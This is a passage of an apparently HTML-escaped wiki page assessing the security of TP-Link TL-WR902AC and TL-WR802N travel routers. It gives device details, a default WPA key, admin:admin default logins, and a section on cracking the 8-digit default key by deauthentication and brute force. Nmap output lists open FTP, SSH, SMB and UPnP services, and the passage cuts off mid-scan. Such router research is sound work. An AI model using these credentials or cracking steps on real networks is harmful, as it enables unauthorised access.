&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;98:DA:C4:6E:00:FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN MAC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4GHz: 98:da:c4:6e:00:fc, 5GHz: 98:da:c4:6e:00:fd&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN SSID&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_00FC; 5Ghz: TP-Link_00FC_5G; TP-Link_Guest_00FC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.4Ghz: TP-Link_C3AE&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;WLAN PSK&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;37490720&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Default IPv4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;WLAN: 192.168.1.1&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hostname&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;NET Protocols&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, FTP, HTTP, SMB, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;SSH, HTTP, uPnP&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Interfaces&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;ttyS1: console, eth0|eth0.2|eth0.3|eth0.4|eth0.5|eth0.6|br0, ra0|rai0: WLAN&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Ports&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;21/tcp ftp, 22/tcp ssh, 80/tcp http, 139/tcp smbd, 445/tcp smbd, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?, 40955/tcp upnp&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;22/tcp ssh, 53/tcp dnsmasq, 80/tcp http, 1900/tcp open upnp, 1900/udp wscd: SSDP, 20002/udp httpd?&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webpage&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;http://tplink.net&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Webaccess&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Root Password&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: whitesmoke;    border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Other Login Pw&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;admin:admin (Default)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Firmware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 0.1 v0089.0 Build 170828 Rel.57433n(4555)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;0.9.1 3.17 v0001.0 Build 190428 Rel.63523n&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Hardware&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR902AC(EU) V3&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TL-WR802N(EU) V4&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Baudrate&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;115200 (8N1) -&amp;gt; 7N1 for UBoot but also works for linux, but no input&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootdelay&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey;border-color: black&amp;quot;&amp;gt;N/A&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Bootloader&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;U-Boot 1.1.3 || Ralink UBoot Version: 4.3.0.0&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;mtdparts&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;dev:    size   erasesize  name&amp;lt;br&amp;gt;&lt;br /&gt;
mtd0: 00020000 00010000 &amp;quot;boot&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd1: 00140000 00010000 &amp;quot;kernel&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd2: 00660000 00010000 &amp;quot;rootfs&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd3: 00010000 00010000 &amp;quot;config&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd4: 00010000 00010000 &amp;quot;romfile&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd5: 00010000 00010000 &amp;quot;rom&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
mtd6: 00010000 00010000 &amp;quot;radio&amp;quot;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Filesystem&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;squashfs, fuse&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Image&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TD-W8968&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Linux&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2.6.36&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Kernel cmdline&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 2px 2px 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Shell&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;sh, ash&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;BusyBox&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;v1.19.2 (2017) multi-call binary&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;border-width: 0 2px 2px 2px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Services&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;vsftpd; sshd; http; smbd; uPnP, VLAN, IPv6&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wireless Security&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;In order to process with the next chapters, access to the LAN of the router is required. Since it isn&#039;t mandatory to change the Pre-Shared Key (PSK) nor the Service Set Identifier (SSID) (TP-Link_XXXX) during setup, I assume, that most general users leave its defaults. Leaving the device almost unsecured with an 8 digit ([0-9]{8}) PSK. The default PSK can be easily aquired using a [https://wiki.elvis.science/index.php?title=WPA/WPA2_PSK_deauthentication_attack deauthentication attack]. Using an Intel i9-9980HK CPU with Aircrack-ng 1.6 on macOS 10.15 takes worst-case 78 minutes with 21177k/s. Using a more powerful setup with modern GPUs in combination with hashcat would drastically decrease the time brute-forcing. Leading to a attractive attack vector, even for a mobile device that doesn&#039;t stay in the same physical location for a long time.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE SERVICE     VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ftp         vsftpd 2.0.8 or later&lt;br /&gt;
|_ftp-anon: got code 500 &amp;quot;OOPS: no entry found!&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ssh         Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey: &lt;br /&gt;
|   1024 ff:29:95:59:3a:2e:18:cd:13:7b:4f:c9:df:0f:a9:4f (DSA)&lt;br /&gt;
|_  1040 54:af:2a:2a:03:ae:a1:f2:c6:1c:a1:2f:85:a6:fe:1b (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  http        TP-LINK TD-W8968 http &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;139&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;445&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.0.14a (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp        Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  wscd: SSDP  Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;20002&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  httpd?     UPD hello messages.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;40955&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp       Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
Service Info: Host: TP-Link; OS: Linux; Device: WAP; CPE: cpe:/o:linux:linux_kernel, cpe:/h:tp-link:td-w8968, cpe:/o:linux:linux_kernel:2.6.36&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: mean: -18432d18h23m26s, deviation: 0s, median: -18432d18h23m26s&lt;br /&gt;
| smb-os-discovery: &lt;br /&gt;
|   OS: Unix (Samba 3.0.14a)&lt;br /&gt;
|   NetBIOS computer name: &lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 1970-01-01T00:03:48+00:00&lt;br /&gt;
| smb-security-mode: &lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: share (dangerous)&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
|_smb2-time: Protocol negotiation failed (SMB2)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: 300Mbps Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE  SERVICE VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   ssh     Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   1024 c5:2f:17:05:d0:da:57:ea:16:d8:4c:c3:14:a6:b3:c9 (DSA)&lt;br /&gt;
|_  1039 6c:06:ba:de:54:2d:05:02:f9:79:a6:79:2e:64:9f:96 (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;53&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  domain  dnsmasq 2.78&lt;br /&gt;
| dns-nsid:&lt;br /&gt;
|   NSID: viezcnsat10 (7669657a636e7361743130)&lt;br /&gt;
|   id.server: viezcnsat10&lt;br /&gt;
|_  bind.version: dnsmasq-2.78&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   http&lt;br /&gt;
| fingerprint-strings:&lt;br /&gt;
|   GetRequest:&lt;br /&gt;
|     HTTP/1.1 200 OK&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 16113&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|     Connection: keep-alive&lt;br /&gt;
|   HTTPOptions, RTSPRequest:&lt;br /&gt;
|     HTTP/1.1 405 Method Not Allowed&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 124&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|_    Connection: close&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open   upnp    Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
